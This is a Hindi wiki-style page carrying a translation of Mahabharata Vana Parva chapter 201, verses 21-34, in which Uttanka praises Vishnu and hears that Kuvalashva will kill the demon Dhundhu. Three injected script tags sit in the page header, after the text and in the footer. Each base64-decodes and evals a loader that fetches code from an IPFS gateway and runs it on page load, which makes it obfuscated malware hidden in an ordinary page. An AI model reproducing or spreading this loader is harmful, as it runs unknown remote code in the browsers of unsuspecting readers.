महाभारत वन पर्व अध्याय 201 श्लोक 21-34

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

एकाधिकद्विशततम (201) अध्‍याय: वन पर्व (तीर्थयात्रा पर्व )

महाभारत: वन पर्व: एकाधिकद्विशततम अध्‍याय: श्लोक 21-34 का हिन्दी अनुवाद


देव । आप देवताओं, मनुष्‍यों तथा सम्‍पूर्ण भूतों को सुख पहुंचानेवाले हैं। आप ने तीन पगों द्वारा ही (बलि के हाथ से ) तीनों लोक (दान द्वारा) हरण कर लिये थे । आपने समृद्धिशाली असुरों का संहार किया है। आपके ही पराक्रम से देवता परम सुख-शान्ति के भागी हुए हैं । महाद्युते । आपके रुष्‍ट होने से ही दैत्‍यराज देवताओं के सामने पराजित हो जाते हैं। आप इस जगत् के सम्‍पूर्ण प्राणियों की सुष्टि तथा संहार करने वाले हैं। प्रभो । आपकी आराधना करके ही सम्‍पूर्ण देवता सुख एवं समृद्धि लाभ करते हैं । महात्‍मा उत्तकड़ के इस प्रकार स्‍तुति करने पर सम्‍पूर्ण इन्द्रियों के प्रेरक भगवान विष्‍णु ने उनसे कहा-‘महर्षे। मैं तुम पर बहुत प्रसन्न हूं। तुम कोई वर मांगो’ । उत्तडक ने कहा-भगवन् । समस्‍त संसार की सुष्टि करने वाले दिव्‍य सनातन पुरुष आप सर्वशक्तिमान् श्री हरिका जो मुझे दर्शन मिला, यही मेरे लिये सबसे महान् वर है । लोभशून्‍यता एवं उत्तम भक्ति से तुम पर बहुत प्रसन्न हूं। ब्रह्मन् । तुम्‍हें मुझ से कोर्इ वर अवशय लेना चाहिये । भगवान विष्‍णु के द्वारा वर लेने के लिये आग्रह होने पर उत्तकड़ ने हाथ जोड़कर इस प्रकार वर मांगा । ‘भगवन् । कमलनयन । यदि आप मुझ पर प्रसन्‍न हैं तो मेरी बुद्धि सदा धर्म, सत्‍य और इन्द्रिय निग्रह में लगी रहे । मेरे स्‍वामी। आपके भजन का मेरा अभ्‍यास सदा बना रहे । श्री भगवान बोले-ब्रह्मन् । मेरी कृपा से यह सब कुछ तुम्‍हें प्राप्‍त हो जायगा । इसके सिवा तुम्‍हारे ह्दय में उस योगविद्या का प्रकाश होगा, जिससे युक्‍त होकर तुम देवताओं तथा तीनों लोकों का महान् कार्य कर सकोगे । विप्रभवर । धुन्‍धु नाम से प्रसिद्ध एक महान्‍ असुर है, जो तीनों लोकों का संहार करने के लिये घोर तपस्‍या कर रहा है। जो वीर उस महान् असुर का वध करेगा, उसका परिचय देता हूं, सुनो । तात। इक्ष्‍वाकु कुल में बृहदश्रव नाम से प्रसिद्ध एक महा पराक्रमी और किसी से पराजित न होने वाले राजा उत्‍पन्न होंगे। उनका पवित्र और जितेन्द्रिय पुत्र कुवलाश्रव के नाम से विख्‍यात होगा । ब्रह्मर्षे। तुम्‍हारे आदेश से वे नृप श्रेष्‍ठ कुवलाश्रव ही मेरे योगबल का आश्रय लेकर धुन्‍धु राक्षसका वध करेंगे और लोक में धुन्‍धुमार नाम से विख्‍यात होंगे । उत्तड़क से ऐसा कहकर भगवान विष्‍णु अन्‍तर्धान हो गये । इस प्रकार श्री महाभारत वन पर्व के अन्‍तर्गत मार्कण्‍डेय समास्‍या पर्व में धुन्‍धुमारोपाख्‍यान विषयक दो सौ एकवां अध्‍याय पूरा हुआ ।




« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>